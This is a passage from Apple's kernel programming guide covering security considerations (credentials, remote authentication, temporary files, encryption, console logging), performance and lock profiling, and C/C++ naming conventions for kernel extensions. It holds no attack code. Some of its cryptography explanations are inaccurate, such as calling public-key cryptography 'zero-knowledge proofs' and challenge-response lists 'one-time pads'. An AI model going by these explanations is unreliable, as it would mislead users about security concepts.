permissions. The first, basic user credentials, are passed around within the kernel to identify the current user and group of the calling process. The second authentication mechanism, access control lists (ACLs), provides access control at a finer level of granularity. One of the most important things to remember when working with credentials is that they are per process, not per context. This is important because a process may not be running as the console user. Two examples of this are processes started from an ssh session (since ssh runs in the startup context) and setuid programs (which run as a different user in the same login context). It is crucial to be aware of these issues. If you are communicating with a setuid root GUI application in a user’s login context, and if you are executing another application or are reading sensitive data, you probably want to treat it as if it had the same authority as the console user, not the authority of the effective user ID caused by running setuid. This is particularly problematic when dealing with programs that run as setuid root if the console user is not in the admin group. Failure to perform reasonable checks can lead to major security holes down the road. However, this is not a hard and fast rule. Sometimes it is not obvious whether to use the credentials of the running process or those of the console user. In such cases, it is often reasonable to have a helper application show a dialog box on the console to require interaction from the console user. If this is not possible, a good Security Considerations User Credentials 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 27rule of thumb is to assume the lesser of the privileges of the current and console users, as it is almost always better to have kernel code occasionally fail to provide a needed service than to provide that service unintentionally to an unauthorized user or process. It is generally easier to determine the console user from a user space application than from kernel space code. Thus, you should generally do such checks from user space. If that is not possible, however, the variable console_user (maintained by the VFS subsystem) will give you the uid of the last owner of /dev/console (maintained by a bit of code in the chown system call). Thisis certainly not an idealsolution, but it does provide the most likely identity of the console user. Since this is only a “best guess,” however, you should use this only if you cannot do appropriate checking in user space. Basic User Credentials Basic user credentials used in the kernel are stored in a variable of type struct ucred. These are mostly used in specialized parts of the kernel—generally in places where the determining factor in permissions is whether or not the caller is running as the root user. This structure has four fields: ● cr_ref—reference count (used internally) ● cr_uid—user ID ● cr_ngroups—number of groups in cr_groups ● cr_groups[NGROUPS]—list of groups to which the user belongs Thisstructure has an internal reference counter to prevent unintentionally freeing the memory associated with it while it is still in use. For this reason, you should not indiscriminately copy this object but should instead either use crdup to duplicate it or use crcopy to duplicate it and (potentially) free the original. You should be sure to crfree any copies you might make. You can also create a new, empty ucred structure with crget. The prototypes for these functions follow: ● struct ucred *crdup(struct ucred *cr) ● struct ucred *crcopy(struct ucred *cr) ● struct ucred *crget(void) ● void crfree(struct ucred *cr) Security Considerations User Credentials 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 28Note: Functions for working with basic user credential are not exported outside of the kernel, and thus are not generally available to kernel extensions. Access Control Lists Access control lists are a new feature in OS X v10.4. Access control lists are primarily used in the file system portion of the OS X kernel, and are supported through the use of the kauth API. The kauth API is described in the header file /System/Library/Frameworks/Kernel.framework/Headers/sys/kauth.h. Because this API is still evolving, detailed documentation is not yet available. Remote Authentication This is one of the more difficult problems in computer security: the ability to identify someone connecting to a computer remotely. One of the mostsecure methodsisthe use of public key cryptography, which is described in more detail in “Key-based Authentication and Encryption” (page 32). However, many other means of authentication are possible, with varying degrees of security. Some other authentication schemes include: ● blind trust ● IP-only authentication ● password (shared secret) authentication ● combination of IP and password authentication ● one-time pads (challenge-response) ● time-based authentication Most of these are obvious, and require no further explanation. However, one-time pads and time-based authentication may be unfamiliar to many people outside security circles, and are thus worth mentioning in more detail. Security Considerations Remote Authentication 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 29One-Time Pads Based on the concept of “challenge-response” pairs, one-time pad (OTP) authentication requires that both parties have an identical list of pairs of numbers, words, symbols, or whatever, sorted by the first item. When trying to access a remote system, the remote system prompts the user with a challenge. The user finds the challenge in the first column, then sends back the matching response. Alternatively, this could be an automated exchange between two pieces of software. For maximum security, no challenge should ever be issued twice. For this reason, and because these systems were initially implemented with a paper pad containing challenge-response, or CR pairs, such systems are often called one-time pads. The one-time nature of OTP authentication makesit impossible forsomeone to guessthe appropriate response to any one particular challenge by a brute force attack (by responding to that challenge repeatedly with different answers). Basically, the only way to break such a system, short of a lucky guess, is to actually know some portion of the contents of the list of pairs. For this reason, one-time pads can be used over insecure communication channels. If someone snoops the communication, they can obtain that challenge-response pair. However, that information is of no use to them, since that particular challenge will never be issued again. (It does not even reduce the potential sample space for responses, since only the challenges must be unique.) Time-based authentication Thisis probably the least understood means of authentication, though it is commonly used by such technologies as SecurID. The concept isrelatively straightforward. You begin with a mathematical function that takes a small number of parameters (two, for example) and returns a new parameter. A good example of such a function is the function that generates the set of Fibonacci numbers (possibly truncated after a certain number of bits, with arbitrary initial seed values). Take this function, and add a third parameter, t, representing time in units of k seconds. Make the function be a generating function on t, with two seed values, a and b, where f(x,y) = (x + y) MOD (2 32 ) g(t) = a, 0 t k g(t) = b, k t 2k g(t) = f (g( log k t -2),g( log k t -1)) Security Considerations Remote Authentication 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 30In other words, every k seconds, you calculate a new value based on the previous two and some equation. Then discard the oldest value, replacing it with the second oldest value, and replace the second oldest value with the value that you just generated. As long as both ends have the same notion of the current time and the original two numbers, they can then calculate the most recently generated number and use this as a shared secret. Of course, if you are writing code that does this, you should use a closed form of this equation, since calculating Fibonacci numbers recursively without additional storage grows at O(2^(t/k)), which is not practical when t is measured in years and k is a small constant measured in seconds. The security ofsuch a scheme depends on various properties of the generator function, and the details ofsuch a function are beyond the scope of this document. For more information, you should obtain an introductory text on cryptography,. such as Bruce Schneier’s Applied Cryptography . Temporary Files Temporary files are a major source of security headaches. If a program does not set permissions correctly and in the right order, this can provide a means for an attacker to arbitrarily modify or read these files. The security impact of such modifications depends on the contents of the files. Temporary files are of much less concern to kernel programmers,since most kernel code does not use temporary files. Indeed, kernel code should generally not use files at all. However, many people programming in the kernel are doing so to facilitate the use of applicationsthat may use temporary files. Assuch, thisissue is worth noting. The most common problem with temporary files is that it is often possible for a malicious third party to delete the temporary file and substitute a different one with relaxed permissions in its place. Depending on the contents of the file, this could range from being a minor inconvenience to being a relatively large security hole, particularly if the file contains a shell script that is about to be executed with the permissions of the program’s user. /dev/mem and /dev/kmem One particularly painfulsurprise to people doing security programming in most UNIX or UNIX-like environments is the existence of /dev/mem and /dev/kmem. These device files allow the root user to arbitrarily access the contents of physical memory and kernel memory, respectively. There is absolutely nothing you can do to prevent this. From a kernel perspective, root is omnipresent and omniscient. If this is a security concern for your program, then you should consider whether your program should be used on a system controlled by someone else and take the necessary precautions. Security Considerations Temporary Files 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 31Note: Support for /dev/kmem is being phased out. It is not available on Intel-based Macintosh computers in OS X v10.4. In the future, it will be removed entirely. It is not possible to write device drivers that access PCI device memory through /dev/mem in OS X. If you need to support such a driver, you must write a kernel stub driver that matches against the device and mapsits memory space into the addressspace of the user process. For more information, read about user clients in I/O Kit Fundamentals. Key-based Authentication and Encryption Key-based authentication and encryption are ostensibly some of the more secure means of authentication and encryption, and can exist in many forms. The most common forms are based upon a shared secret. The DES, 3DES (triple-DES), IDEA, twofish, and blowfish ciphers are examples of encryption schemes based on a shared secret. Passwords are an example of an authentication scheme based on a shared secret. The idea behind most key-based encryption is that you have an encryption key of some arbitrary length that is used to encode the data, and that same key is used in the opposite manner (or in some cases, in the same manner) to decode the data. The problem with shared secret security is that the initial key exchange must occur in a secure fashion. If the integrity of the key is compromised during transmission, the data integrity is lost. This is not a concern if the key can be generated ahead of time and placed at both transport endpoints in a secure fashion. However, in many cases, this is not possible or practical because the two endpoints (be they physical devices or system tasks) are controlled by different people or entities. Fortunately, an alternative exists, known as zero-knowledge proofs. The concept of a zero-knowledge proof is that two seemingly arbitrary key values, x and y, are created, and that these values are related by some mathematical function ƒ in such a way that ƒ(ƒ(a,k1),k2) = a That is, applying a well-known function to the original cleartext using the first key results in ciphertext which, when that same function is applied to the ciphertext using the second key returns the original data. This is also reversible, meaning that ƒ(ƒ(a,k2),k1) = a Security Considerations Key-based Authentication and Encryption 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 32If the function f is chosen correctly, it is extremely difficult to derive x from y and vice-versa, which would mean that there is no function that can easily transform the ciphertext back into the cleartext based upon the key used to encode it. An example of this is to choose the mathematical function to be f(a,k)=((a*k) MOD 256) + ((a*k)/256) where a is a byte of cleartext, and k is some key 8 bits in length. This is an extraordinarily weak cipher, since the function f allows you to easily determine one key from the other, but it is illustrative of the basic concept. Pick k1 to be 8 and k2 to be 32. So for a=73, (a * 8)=584. This takes two bytes, so add the bits in the high byte to the bits of the low byte, and you get 74. Repeat this process with 32. This gives you 2368. Again, add the bits from the high byte to the bits of the low byte, and you have 73 again. This mathematical concept (with very different functions), when put to practical use, is known as public key (PK) cryptography, and forms the basis for RSA and DSA encryption. Public Key Weaknesses Public key encryption can be very powerful when used properly. However, it has a number of inherent weaknesses. A complete explanation of these weaknesses is beyond the scope of this document. However, it is important that you understand these weaknesses at a high level to avoid falling into some common traps. Some commonly mentioned weakness of public key cryptography include: ● Trust model for key exchange ● Pattern sensitivity ● Short data weakness Trust Models The most commonly discussed weakness of public key cryptography is the initial key exchange process itself. If someone manages to intercept a key during the initial exchange, he or she could instead give you his or her own public key and intercept messages going to the intended party. This is known as a man-in-the-middle attack. For such services as ssh, most people either manually copy the keys from one server to another or simply assume that the initial key exchange was successful. For most purposes, this is sufficient. In particularly sensitive situations, however, this is not good enough. For this reason, there is a procedure known as key signing. There are two basic models for key signing: the central authority model and the web of trust model. Security Considerations Key-based Authentication and Encryption 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 33The central authority model is straightforward. A central certifying agency signs a given key, and says that they believe the owner of the key is who he or she claims to be. If you trust that authority, then by association, you trust keys that the authority claims are valid. The web of trust model is somewhat different. Instead of a central authority, individuals sign keys belonging to other individuals. By signing someone’s key, you are saying that you trust that the person is really who he or she claims to be and that you believe that the key really belongs to him or her. The methods you use for determining that trust will ultimately impact whether others trust your signatures to be valid. There are many different ways of determining trust, and thus many groups have their own rulesfor who should and should not sign someone else’s key. Those rules are intended to make the trust level of a key depend on the trust level of the keys that have signed it. The line between central authorities and web of trust models is not quite as clear-cut as you might think, however. Many central authorities are hierarchies of authorities, and in some cases, they are actually webs of trust among multiple authorities. Likewise, many webs of trust may include centralized repositories for keys. While those repositories don’t provide any certification of the keys, they do provide centralized access. Finally, centralized authorities can easily sign keys as part of a web of trust. There are many websites that describe webs of trust and centralized certification schemes. A good general description of several such models can be found at http://world.std.com/~cme/html/web.html. Sensitivity to Patterns and Short Messages Existing public key encryption algorithms do a good job at encrypting semi-random data. They fallshort when encrypting data with certain patterns, as these patterns can inadvertently reveal information about the keys. The particular patterns depend on the encryption scheme. Inadvertently hitting such a pattern does not allow you to determine the private key. However, they can reduce the search space needed to decode a given message. Short data weakness is closely related to pattern sensitivity. If the information you are encrypting consists of a single number, for example the number 1, you basically get a value that is closely related mathematically to the public key. If the intent is to make sure that only someone with the private key can get the original value, you have a problem. In other words, public key encryption schemes generally do not encrypt all patterns equally well. For thisreason (and because public key cryptography tendsto be slower than single key cryptography), public keys are almost never used to encrypt end-user data. Instead, they are used to encrypt a session key. This session key is then used to encrypt the actual data using a shared secret mechanism such as 3DES, AES, blowfish, and so on. Security Considerations Key-based Authentication and Encryption 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 34Using Public Keys for Message Exchange Public key cryptography can be used in many ways. When both keys are private, it can be used to send data back and forth. However this use is no more useful than a shared secret mechanism. In fact, it is frequently weaker, for the reasons mentioned earlier in the chapter. Public key cryptography becomes powerful when one key is made public. Assume that Ernie and Bert want to send coded messages. Ernie gives Bert his public key. Assuming that the key was not intercepted and replaced with someone else’s key, Bert can now send data to Ernie securely, because data encrypted with the public key can only be decrypted with the private key (which only Ernie has). Bert uses this mechanism to send a shared secret. Bert and Ernie can now communicate with each other using a shared secret mechanism, confident in the knowledge that no third party has intercepted that secret. Alternately, Bert could give Ernie his public key, and they could both encrypt data using each other’s public keys, or more commonly by using those public keys to encrypt a session key and encrypting the data with that session key. Using Public Keys for Identity Verification Public key cryptography can also be used for verification of identity. Kyle wants to know if someone on the Internet who claims to be Stan is really Stan. A few months earlier, Stan handed Kyle his public key on a floppy disk. Thus, since Kyle already has Stan’s public key (and trusts the source of that key), he can now easily verify Stan’s identity. To achieve this, Kyle sends a cleartext message and asks Stan to encrypt it. Stan encrypts it with his private key. Kyle then uses Stan’s public key to decode the ciphertext. If the resulting cleartext matches, then the person on the other end must be Stan (unless someone else has Stan’s private key). Using Public Keys for Data Integrity Checking Finally, public key cryptography can be used for signing. Ahmed is in charge of meetings of a secret society called the Stupid Acronym Preventionists club. Abraham is a member of the club and gets a TIFF file containing a notice of their next meeting, passed on by way of a fellow member of the science club, Albert. Abraham is concerned, however, that the notice might have come from Bubba, who is trying to infiltrate the SAPs. Ahmed, however, was one step ahead, and took a checksum of the original message and encrypted the checksum with his private key, and sent the encrypted checksum as an attachment. Abraham used Ahmed’s public key to decrypt the checksum, and found that the checksum did not match that of the actual document. He wisely avoided the meeting. Isaac, however, was tricked into revealing himself as a SAP because he didn’t remember to check the signature on the message. Security Considerations Key-based Authentication and Encryption 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 35The moral of thisstory? One should always beware of geekssharing TIFFs—that is, if the security ofsome piece of data isimportant and if you do not have a direct,secure means of communication between two applications, computers, people, and so on, you must verify the authenticity of any communication using signatures, keys, or some other similar method. This may save your data and also save face. Encryption Summary Encryption is a powerful technique for keeping data secure if the initial key exchange occursin a secure fashion. One meansfor thisisto have a public key,stored in a well-known (and trusted) location. This allowsfor one-way encrypted communication through which a shared secret can be transferred for later two-way encrypted communication. You can use encryption not only for protecting data, but also for verifying the authenticity of data by encrypting a checksum. You can also use it to verify the identity of a client by requiring that the client encrypt some random piece of data as proof that the client holds the appropriate encryption key. Encryption, however, is not the final word in computer security. Because it depends on having some form of trusted key exchange, additional infrastructure is needed in order to achieve total security in environments where communication can be intercepted and modified. Console Debugging Warning: Failure to follow this advice can unintentionally expose security-critical information. In traditional UNIX and UNIX-like systems, the console is owned by root. Only root sees console messages. For this reason, print statements in the kernel are relatively secure. In OS X, any user can run the Console application. This represents a major departure from other UNIX-like systems. While it is never a good idea to include sensitive information in kernel debugging statements, it is particularly important not to do so in OS X. You must assume that any information displayed to the console could potentially be read by any user on the system (since the console is virtualized in the form of a user-viewable window). Printing any information involving sensitive data, including its location on disk or in memory, represents a security hole, however slight, and you should write your code accordingly. Obviously this is of less concern if that information is only printed when the user sets a debugging flag somewhere, but for normal use, printing potentially private information to the console is strongly discouraged. Security Considerations Console Debugging 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 36You must also be careful not to inadvertently print information that you use for generating password hashes or encryption keys, such as seed values passed to a random number generator. This is, by necessity, not a complete list of information to avoid printing to the console. You must use your own judgement when deciding whether a piece of information could be valuable if seen by a third party, and then decide if it is appropriate to print it to the console. Code Passing There are many ways of passing executable code into the kernel from user space. For the purposes of this section, executable code is not limited to compiled object code. It includes any instructions passed into the kernel that significantly affect control flow. Examples of passed-in executable code range from simple rules such as the filtering code uploaded in many firewall designs to bytecode uploads for a SCSI card. If it is possible to execute your code in user space, you should not even contemplate pushing code into the kernel. For the rare occasion where no other reasonable solution exists, however, you may need to pass some form of executable code into the kernel. This section explains some of the security ramifications of pushing code into the kernel and the level of verification needed to ensure consistent operation. Here are some guidelines to minimize the potential for security holes: 1. No raw object code. Direct execution of code passed in from user space is very dangerous. Interpreted languages are the only reasonable solution for this sort of problem, and even this is fraught with difficulty. Traditional machine code can’t be checked sufficiently to ensure security compliance. 2. Bounds checking. Since you are in the kernel, you are responsible for making sure that any uploaded code does not randomly access memory and does not attempt to do direct hardware access. You would normally make this a feature of the language itself, restricting access to the data element on which the bytecode is operating. 3. Termination checking. With very, very few exceptions, the language chosen should be limited to code that can be verified to terminate, and you should verify accordingly. If your driver is stuck in a tightly rolled loop, it is probably unable to do its job, and may impact overall system performance in the process. A language that does not allow (unbounded) loops (for example, allowing for but not while or goto could be one way to ensure termination. 4. Validity checking. Security Considerations Code Passing 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 37Your bytecode interpreter would be responsible for checking ahead for any potentially invalid operations and taking appropriate punitive actions against the uploaded code. For example, if uploaded code is allowed to do math, then proper protection must be in place to handle divide by zero errors. 5. Sanity checking. You should verify that the output is something remotely reasonable, if possible. It is not always possible to verify that the output is correct, but it is generally possible to create rules that prevent egregiously invalid output. For example, a network filter rule should output something resembling packets. If the checksums are bad, or if other information is missing or corrupt, clearly the uploaded code is faulty, and appropriate actions should be taken. It would be highly inappropriate for OS X to send out bad network traffic. In general, the more restrictive the language set, the lower the security risk. For example, interpreting simple network routing policies is less likely to be a security problem than interpreting packet rewriting rules, which is less likely to be an issue than running Java bytecode in the kernel. As with anything else, you must carefully weigh the potential benefits against the potential drawbacks and make the best decision given the information available. Security Considerations Code Passing 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 38Performance is a key aspect of any software system. Nowhere is this more true than in the kernel, where small performance problems tend to be magnified by repeated execution. For this reason, it is extremely important that your code be as efficient as possible. This chapter discusses the importance of low interrupt latency and fine-grained locking and tells you how to determine what portions of your code would benefit most from more efficient design. Interrupt Latency In OS X, you will probably never need to write code that runs in an interrupt context. In general, only motherboard hardware requires this. However, in the unlikely event that you do need to write code in an interrupt context, interrupt latency should be a primary concern. Interrupt latency refers to the delay between an interrupt being generated and an interrupt handler actually beginning to service that interrupt. In practice, the worst case interrupt latency is closely tied to the amount of time spent in supervisor mode (also called kernel mode) with interrupts off while handling some other interrupt. Low interrupt latency is necessary for reasonable overall performance, particularly when working with audio and video. In order to have reasonable soft real-time performance (for example, performance of multimedia applications), the interrupt latency caused by every device driver must be both small and bounded. OS X takes great care to bound and minimize interrupt latency for built-in drivers. It doesthis primarily through the use of interrupt service threads (also known as I/O service threads). When OS X takes an interrupt, the low-level trap handlers call up to a generic interrupt handling routine that clears the pending interrupt bit in the interrupt controller and calls a device-specific interrupt handler. That device-specific handler, in turn, sends a message to an interrupt service thread to notify it that an interrupt has occurred, and then the handler returns. When no further interrupts are pending, control returns to the currently executing thread. The next time the interrupt service thread is scheduled, it checks to see if an interrupt has occurred, then services the interrupt. As the name suggests, this actually is happening in a thread context, not an interrupt context. This design causes two major differences from traditional operating system design: ● Interrupt latency is near zero, since the code executing in an interrupt context is very small. 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 39 Performance Considerations● It is possible for an interrupt to occur while a device driver is executing. This means that traditional (threaded) device drivers can be preempted and must use locking or other similar methods to protect any shared data (although they need to do so anyway to work on computers with multiple processors). This model is crucial to the performance of OS X. You should not attempt to circumvent this design by doing large amounts of work in an interrupt context. Doing so will be detrimental to the overall performance of the system. Locking Bottlenecks It is difficult to communicate data between multiple threads or between thread and interrupt contexts without using locking or other synchronization. This locking protects your data from getting clobbered by another thread. However, it also has the unfortunate side effect of being a potential bottleneck. In some types of communication (particularly n-way), locking can dramatically hinder performance by allowing only one thing to happen at a time. Read-write locks, discussed in “Synchronization Primitives” (page 128), can help alleviate this problem in the most common situation where multiple clients need to be able to read information but only rarely need to modify that data. However, there are many cases where read-write locks are not helpful. This section discusses some possible problems and ways of improving performance within those constraints. Working With Highly Contended Locks When many threads need to obtain a lock (or a small number of threads need to obtain a lock frequently), this lock is considered highly contended. Highly contended locks frequently represent faulty code design, but they are sometimes unavoidable. In those cases, the lock tends to become a major performance bottleneck. Take, for example, the issue of many-to-many communication that must be synchronized through a common buffer. While some improvement can be gained by using read-write locks instead of an ordinary mutex, the issue of multiple writers means that read-write locks still perform badly. One possible solution for this many-to-many communication problem is to break the lock up into multiple locks. Instead of sharing a single buffer for the communication itself, make a shared buffer that contains accounting information for the communication (for example, a list of buffers available for reading). Then assign each individual buffer its own lock. The readers might then need to check several locations to find the right data, but this still frequently yields better performance, since writers must only contend for a write lock while modifying the accounting information. Performance Considerations Locking Bottlenecks 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 40Anothersolution for many-to-many communicationsisto eliminate the buffer entirely and communicate using message passing, sockets, IPC, RPC, or other methods. Yet another solution is to restructure your code in a way that the locking is unnecessary. This is often much more difficult. One method that is often helpful isto take advantage of flags and atomic increments, as outlined in the next paragraph. For simplicity, a single-writer, single-reader example is presented, but it is possible to extend this idea to more complicated designs. Take a buffer with some number of slots. Keep a read index and a write index into that buffer. When the write index and read index are the same, there is no data in the buffer. When writing, clear the next location. Then do an atomic increment on the pointer. Write the data. End by setting a flag at that new location that says that the data is valid. Note that this solution becomes much more difficult when dealing with multiple readers and multiple writers, and as such, is beyond the scope of this section. Reducing Contention by Decreasing Granularity One of the fundamental properties of locksis granularity. The granularity of a lock refersto the amount of code or data that it protects. A lock that protects a large block of code or a large amount of data is referred to as a coarse-grained lock, while a lock that protects only a small amount of code or data isreferred to as a fine-grained lock. A coarse-grained lock is much more likely to be contended (needed by one thread while being held by another) than a more finely grained lock. There are two basic ways of decreasing granularity. The first is to minimize the amount of code executed while a lock is held. For example, if you have code that calculates a value and stores it into a table, don’t take the lock before calling the function and release it after the function returns. Instead, take the lock in that piece of code right before you write the data, and release it as soon as you no longer need it. Of course, reducing the amount of protected code is not always possible or practical if the code needs to guarantee consistency where the value it is writing depends on other values in the table, since those values could change before you obtain the lock, requiring you to go back and redo the work. It is also possible to reduce granularity by locking the data in smaller units. In the above example, you could have a lock on each cell of the table. When updating cells in the table, you would start by determining the cells on which the destination cell depends, then lock those cells and the destination cell in some fixed order. (To avoid deadlock, you must always either lock cells in the same order or use an appropriate try function and release all locks on failure.) Once you have locked all the cells involved, you can then perform your calculation and release the locks, confident that no other thread has corrupted your calculations. However, by locking on a smaller unit of data, you have also reduced the likelihood of two threads needing to access the same cell. Performance Considerations Locking Bottlenecks 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 41A slightly more radical version of this is to use read-write locks on a per-cell basis and always upgrade in a particular order. This is, however, rather extreme, and difficult to do correctly. Code Profiling Code profiling means determining how often certain pieces of code are executed. By knowing how frequently a piece of code is used, you can more accurately gauge the importance of optimizing that piece of code. There are a number of good tools for profiling user space applications. However, code profiling in the kernel is a very different beast, since it isn’t reasonable to attach to it like you would a running process. (It is possible by using a second computer, but even then, it is not a trivial task.) This section describes two useful ways of profiling your kernel code: counters and lock profiling. Any changes you make to allow code profiling should be done only during development. These are not the sort of changes that you want to release to end users. Using Counters for Code Profiling The first method of code profiling is with counters. To profile a section of code with a counter, you must first create a global variable whose name describesthat piece of code and initialize it to zero. You then add something like #ifdef PROFILING foo_counter++; #endif in the appropriate piece of code. If you then define PROFILING, that counter is created and initialized to zero, then incremented each time the code in question is executed. One small snag with this sort of profiling is the problem of obtaining the data. This can be done in several ways. The simplest is probably to install a sysctl, using the address of foo_counter as an argument. Then, you could simply issue the sysctl command from the command line and read or clear the variable. Adding a sysctl is described in more detail in “BSD sysctl API ” (page 117). In addition to using sysctl, you could also obtain the data by printing its value when unloading the module (in the case of a KEXT) or by using a remote debugger to attach to the kernel and directly inspecting the variable. However, a sysctl provides the most flexibility. With a sysctl, you can sample the value at any time, not just when the module is unloaded. The ability to arbitrarily sample the value makes it easier to determine the importance of a piece of code to one particular action. Performance Considerations Code Profiling 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 42If you are developing code for use in the I/O Kit, you should probably use your driver’s setProperties call instead of a sysctl. Lock Profiling Lock profiling is another useful way to find the cause of code inefficiency. Lock profiling can give you the following information: ● how many times a lock was taken ● how long the lock was held on average ● how often the lock was unavailable Put another way, this allows you to determine the contention of a lock, and in so doing, can help you to minimize contention by code restructuring. There are many different ways to do lock profiling. The most common way is to create your own lock calls that increment a counter and then call the real locking functions. When you move from debugging into a testing cycle before release, you can then replace the functions with defines to cause the actual functions to be called directly. For example, you might write something like this: extern struct timeval time; boolean_t mymutex_try(mymutex_t *lock) { int ret; ret=mutex_try(lock->mutex); if (ret) { lock->tryfailcount++; } return ret; } void mymutex_lock(mymutex_t *lock) { if (!(mymutex_try(lock))) { mutex_lock(lock->mutex); } lock->starttime = time.tv_sec; } void mymutex_unlock(mymutex_t *lock) { Performance Considerations Code Profiling 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 43lock->lockheldtime += (time.tv_sec - lock->starttime); lock->heldcount++; mutex_unlock(lock->mutex); } This routine has accuracy only to the nearest second, which is not particularly accurate. Ideally, you want to keep track of both time.tv_sec and time.tv_usec and roll the microseconds into seconds as the number gets large. From this information, you can obtain the average time the lock was held by dividing the total time held by the number of times it was held. It also tells you the number of times a lock was taken immediately instead of waiting, which is a valuable piece of data when analyzing contention. As with counter-based profiling, after you have written code to record lock use and contention, you must find a way to obtain that information. A sysctl is a good way of doing this, since it is relatively easy to implement and can provide a “snapshot” view of the data structure at any point in time. For more information on adding a sysctl, see “BSD sysctl API ” (page 117). Another way to do lock profiling isto use the built-in ETAP (Event Trace Analysis Package). This package consists of additional code designed for lock profiling. However, since this requires a kernel recompile, it is generally not recommended. Performance Considerations Code Profiling 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 44As described in “Keep Out” (page 13), programming in the kernel is fraught with hazards that can cause instability, crashes, or security holes. In addition to these issues, programming in the kernel has the potential for compatibility problems. If you program only to the interfaces discussed in this document or other Apple documents, you will avoid the majority of these. However, even limiting yourself to documented interfaces does not protect you from a handful of pitfalls. The biggest potential problem that you face is namespace collision, which occurs when your function, variable, or class name is the same as someone else’s. Since this makes one kernel extension or the other fail to load correctly (in a non-deterministic fashion), Apple has established function naming conventions for C and C++ code within the kernel. These are described in “Standard C Naming Conventions” (page 47) and “C++ Naming Conventions” (page 45), respectively. In addition to compatibility problems, kernel extensions that misbehave can also dramatically decrease the system’s overall performance or cause crashes. Some of these issues are described in “Performance and Stability Tips” (page 50). For more thorough coverage of performance and stability, you should also read the chapters “Security Considerations” (page 24) and “Performance Considerations” (page 39). C++ Naming Conventions Basic I/O Kit C++ naming conventions are defined in the document I/O Kit Device Driver Design Guidelines. This section refines those conventions in ways that should make them more useful to you as a programmer. Basic Conventions The primary conventions are as follows: ● Use the Java-style reverse DNS naming convention, substituting underscores for periods. For example, com_apple_foo. ● Avoid the following reserved prefixes: ● OS ● os ● IO ● io 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 45 Kernel Programming Style● Apple ● apple ● AAPL ● aapl This ensures that you will not collide with classes created by other companies or with future classes added to the operating system by Apple. It does not protect you from other projects created within your company, however, and for this reason, some additional guidelines are suggested. Additional Guidelines These additional guidelines are intended to minimize the chance of accidentally breaking your own software and to improve readability of code by developers. ● To avoid namespace collisions, you should prefix the names of classes and families with project names or other reasonably unique prefix codes. For example, if you are working on a video capture driver, and one of its classes is called capture, you will probably encounter a name collision eventually. Instead, you should name the class something like com_mycompany_driver_myproduct_capture. Similarly, names like To maximize readability, you should use macros to rename classes and families at compile time. For example: #define captureClass com_mycompany_driver_myproduct_capture #define captureFamily com_mycompany_iokit_myproduct_capture ● Use prefixes in function and method names to make it easier to see relationships between them. For example, Apple uses NS, CF, IO, and other prefixesto indicate that functions belong to specific frameworks. This might be as simple as prefixing a function with the name of the enclosing or related class, or it might be some other scheme that makes sense for your project. These are only suggested guidelines. Your company or organization should adopt its own set of guidelines within the constraints of the basic conventions described in the previous section. These guidelines should provide a good starting point. Kernel Programming Style C++ Naming Conventions 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 46Standard C Naming Conventions The naming conventionsfor C++ have been defined forsome time in the document I/O Kit Device Driver Design Guidelines. However, no conventions have been given for standard C code. Because standard C has an even greater chance of namespace collision than C++, it is essential that you follow these guidelines when writing C code for use in the kernel. Because C does not have the benefit of classes, it is much easier to run into a naming conflict between two functions. For this reason, the following conventions are suggested: ● Declare all functions and (global) variables static where possible to prevent them from being seen in the global namespace. If you need to share these across files within your KEXT, you can achieve a similar effect by declaring them __private_extern__. ● Each function name should use Java-style reverse DNS naming. For example, if your company is apple.com, you should begin each function with com_apple_. ● Follow the reverse DNS name with the name of your project. For example, if you work at Apple and were working on project Schlassen, you would start each function name (in drivers) with com_apple_driver_schlassen_. Note: The term driver is reserved for actual device drivers. For families, you should instead use iokit. For example, if project Schlassen is an I/O Kit family, function namesshould all begin with com_apple_iokit_schlassen_. ● Use hierarchical names if you anticipate multiple projects with similar names coming from different parts of your company or organization. ● Use macro expansion to save typing, for example PROJECT_eat could expand to com_apple_driver_schlassen_pickle_eat. ● If you anticipate that the last part of a function name may be the same as the last part of another function name (for example, PROJECT1_eat and PROJECT2_eat), you should change the namesto avoid confusion (for example, PROJECT1_eatpickle and PROJECT2_eatburger). ● Avoid the following reserved prefixes: ● OS ● os ● IO ● io ● Apple ● apple Kernel Programming Style Standard C Naming Conventions 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 47● AAPL ● aapl ● Avoid conflicting with any names already in the kernel, and do not use prefixes similar to those of existing kernel functions that you may be working with. ● Never begin a function name with an underscore (_). ● Under no circumstances should you use common names for your functions without prefixing them with the name of your project in some form. These are some examples of unacceptable names: ● getuseridentity ● get_user_info ● print ● find ● search ● sort ● quicksort ● merge ● console_log In short, picking any name that you would normally pick for a function is generally a bad idea, because every other developer writing code is likely to pick the same name for his or her function. Occasional conflicts are a fact of life. However, by following these few simple rules, you should be able to avoid the majority of common namespace pitfalls. Commonly Used Functions One of the most common problems faced when programming in the kernel is use of “standard” functions—things like printf or bcopy. Many commonly used standard C library functions are implemented in the kernel. In order to use them, however, you need to include the appropriate prototypes, which may be different from the user space prototypes for those functions, and which generally have different names when included from kernel code. In general, any non–I/O Kit header that you can safely include in the kernel is located in xnu/bsd/sys or xnu/osfmk/mach, although there are a few specialized headers in other places like libkern and libsa. Normal headers (those in /usr/include) cannot be used in the kernel. Kernel Programming Style Commonly Used Functions 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 48Important: If you are writing an I/O Kit KEXT, most of these functions are not what you are looking for. The I/O Kit providesits own APIsfor these features, including 